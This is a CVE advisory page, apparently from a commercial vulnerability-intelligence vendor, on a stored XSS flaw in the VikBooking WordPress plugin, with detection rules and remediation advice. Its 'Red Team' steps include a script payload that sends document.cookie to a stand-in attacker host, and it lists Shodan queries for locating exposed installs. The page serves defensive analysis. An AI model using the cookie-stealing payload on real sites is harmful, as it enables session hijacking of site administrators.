☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-13616

CVE-2024-13616 Cross-Site Scripting in Vikbooking
📅 PUBLISHED: 2025-05-15 20:07 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-13616 is a Stored Cross-Site Scripting (XSS) vulnerability in the VikBooking Hotel Booking Engine & PMS WordPress plugin (versions before 1.7.2). The plugin fails to properly sanitize and escape certain settings, allowing high-privilege users (e.g., administrators) to inject malicious scripts. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses the intended security restriction. Successful exploitation could lead to session hijacking, defacement, or redirection of users to malicious sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to verify the integrity of the plugin update (version 1.7.2) by checking the plugin’s checksum or signature if provided by the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 4.8 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Admin)
  • User Interaction: Required (Victim must visit the affected page)
  • Scope: Changed (Impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires admin-level access, but in multisite environments, the attack can bypass unfiltered_html restrictions, making it more impactful.

Deep Dive & Mechanics

The vulnerability resides in the plugin’s settings page where admin users can configure various options. The plugin fails to sanitize and escape output for certain settings fields. When an admin saves malicious JavaScript code into these fields, the script is stored in the database and executed when the settings page is rendered for any user (including other admins or lower-privileged users).

Root Cause: The plugin uses echo or _e() functions without proper escaping (e.g., esc_html() or wp_kses_post()) when displaying saved settings values. This allows stored XSS.

Attack Flow:

  1. Attacker gains admin access (e.g., via compromised credentials or social engineering).
  2. Attacker navigates to the VikBooking settings page.
  3. Attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable setting field.
  4. The payload is stored in the WordPress database.
  5. When any user (including other admins) visits the settings page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.7.2):

// In settings page rendering
echo $setting_value; // No escaping

Patched Code (1.7.2):

// In settings page rendering
echo esc_html( $setting_value ); // Properly escaped

The patch adds esc_html() to all output of settings values, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Admin credentials to a WordPress site with VikBooking < 1.7.2.
  • Access to the plugin’s settings page (e.g., /wp-admin/admin.php?page=vikbooking_settings).

Steps:

  1. Log in as an admin.
  2. Navigate to VikBooking settings.
  3. Locate a vulnerable field (e.g., "Footer Text" or "Custom CSS").
  4. Inject payload: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  5. Save settings.
  6. Wait for another admin to visit the settings page, or trigger the page yourself to confirm execution.

Proof-of-Concept (PoC):

<!-- Inject into a text field -->
<script>alert('XSS')</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual changes to VikBooking settings via audit logs.
  • Look for JavaScript payloads in plugin settings database entries (e.g., wp_options table with vikbooking_ prefix).
  • Use WAF rules to block common XSS patterns in admin POST requests.

Hardening:

  • Upgrade to version 1.7.2 immediately.
  • Restrict admin access to trusted users only.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Use WordPress security plugins (e.g., Wordfence) to detect and block malicious input.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/vikbooking/ (check for modified files)
  • Database: wp_options table entries containing <script> tags in vikbooking_ options.
  • Network: Outbound requests to attacker-controlled domains from admin pages.
  • Logs: Unusual POST requests to /wp-admin/admin.php?page=vikbooking_settings with encoded JavaScript.

Detection Engineering

YARA Rule

rule detect_vikbooking_xss_payload {
    meta:
        description = "Detects stored XSS payloads in VikBooking plugin settings"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-13616"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $vikbooking_option = /vikbooking_/
    condition:
        $xss_payload and $vikbooking_option
}

Sigma Rule

title: Stored XSS in VikBooking Plugin Settings
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in VikBooking plugin settings
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin.php?page=vikbooking_settings'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin using JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13616 - VikBooking Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin.php?page=vikbooking_settings"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade VikBooking to version 1.7.2 or later.
  2. Workaround: If upgrade is not possible, restrict admin access and disable the plugin’s settings page for non-essential users.
  3. Long-term: Implement input validation and output escaping for all plugin settings. Use WordPress coding standards (e.g., esc_html(), esc_attr()).
  4. Monitoring: Enable audit logging for admin actions and review logs for suspicious changes.

Valters IT
Securing Your Digital Frontier

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"VikBooking"
http.html:"wp-content/plugins/vikbooking"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-13616/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.